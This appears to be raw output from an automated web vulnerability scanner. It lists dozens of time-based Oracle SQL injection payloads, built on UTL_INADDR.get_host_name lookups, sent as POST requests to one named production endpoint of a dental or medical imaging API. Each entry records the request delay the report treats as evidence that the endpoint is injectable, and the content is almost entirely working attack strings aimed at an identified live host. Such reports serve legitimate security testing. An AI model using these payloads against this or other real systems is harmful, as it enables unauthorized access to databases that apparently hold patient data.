Other Info	The query time is controllable using parameter value [212 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,105] milliseconds, when the original unmodified query with value [212] took [768] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [251" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	
Other Info	The query time is controllable using parameter value [251" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]" , which caused the request to take [8,124] milliseconds, when the original unmodified query with value [251] took [788] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [282 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [282 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,393] milliseconds, when the original unmodified query with value [282] took [1,141] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [305" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	

Other Info	The query time is controllable using parameter value [305" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [6,803] milliseconds, when the original unmodified query with value [305] took [264] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [312' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
Other Info	The query time is controllable using parameter value [312' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [6,641] milliseconds, when the original unmodified query with value [312] took [1,284] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [317 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [317 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [9,698] milliseconds, when the original unmodified query with value [317] took [1,229] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [439" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	
Other Info	The query time is controllable using parameter value [439" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [7,256] milliseconds, when the original unmodified query with value [439] took [777] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [444" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	

Other Info	The query time is controllable using parameter value [444" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [5,692] milliseconds, when the original unmodified query with value [444] took [264] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [456 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [456 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [9,928] milliseconds, when the original unmodified query with value [456] took [767] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [514' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
Other Info	The query time is controllable using parameter value [514' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [7,779] milliseconds, when the original unmodified query with value [514] took [1,496] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [517" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	
Other Info	The query time is controllable using parameter value [517" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [6,511] milliseconds, when the original unmodified query with value [517] took [1,026] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [549 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	

Other Info	The query time is controllable using parameter value [549] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,204] milliseconds, when the original unmodified query with value [549] took [782] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [561"] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	
Other Info	The query time is controllable using parameter value [561"] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]" , which caused the request to take [6,746] milliseconds, when the original unmodified query with value [561] took [1,088] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [744"] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	
Other Info	The query time is controllable using parameter value [744"] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]" , which caused the request to take [7,746] milliseconds, when the original unmodified query with value [744] took [835] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [748.8941176470588 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [748.8941176470588 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,853] milliseconds, when the original unmodified query with value [748.8941176470588] took [783] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [748.8941176470588 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT

UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]

Evidence	
Other Info	The query time is controllable using parameter value [748.8941176470588 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [8,001] milliseconds, when the original unmodified query with value [748.8941176470588] took [1,561] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [758.0549019607843 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [758.0549019607843 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [8,451] milliseconds, when the original unmodified query with value [758.0549019607843] took [794] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [762.635294117647 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [762.635294117647 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [7,818] milliseconds, when the original unmodified query with value [762.635294117647] took [778] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [767.2156862745097 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [767.2156862745097 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [7,085] milliseconds, when the original unmodified query with value [767.2156862745097] took [1,756] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	field: [x], value [806.1490196078431 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [806.1490196078431 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,347] milliseconds, when the original unmodified query with value [806.1490196078431] took [760] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [939 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [939 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [6,350] milliseconds, when the original unmodified query with value [939] took [1,148] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [97" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	
Other Info	The query time is controllable using parameter value [97" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]" , which caused the request to take [12,177] milliseconds, when the original unmodified query with value [97] took [1,464] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [12,533] milliseconds, when the original unmodified query with value [56] took [1,692] milliseconds

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,200] milliseconds, when the original unmodified query with value [376.2601248946844] took [774] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,550] milliseconds, when the original unmodified query with value [215] took [778] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,180] milliseconds, when the original unmodified query with value [309.8444386201746] took [1,098] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,298] milliseconds, when the original unmodified query with value [150] took [798] milliseconds

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,425] milliseconds, when the original unmodified query with value [132] took [1,913] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,567] milliseconds, when the original unmodified query with value [1058] took [1,832] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,642] milliseconds, when the original unmodified query with value [407] took [1,542] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [10" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	
Other Info	The query time is controllable using parameter value [10" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [7,537] milliseconds, when the original unmodified query with value [10] took [980] milliseconds

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [12 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [12 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,381] milliseconds, when the original unmodified query with value [12] took [1,506] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [12" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	The query time is controllable using parameter value [12" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [8,484] milliseconds, when the original unmodified query with value [12] took [1,411] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [139 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	The query time is controllable using parameter value [139 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [9,710] milliseconds, when the original unmodified query with value [139] took [1,544] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
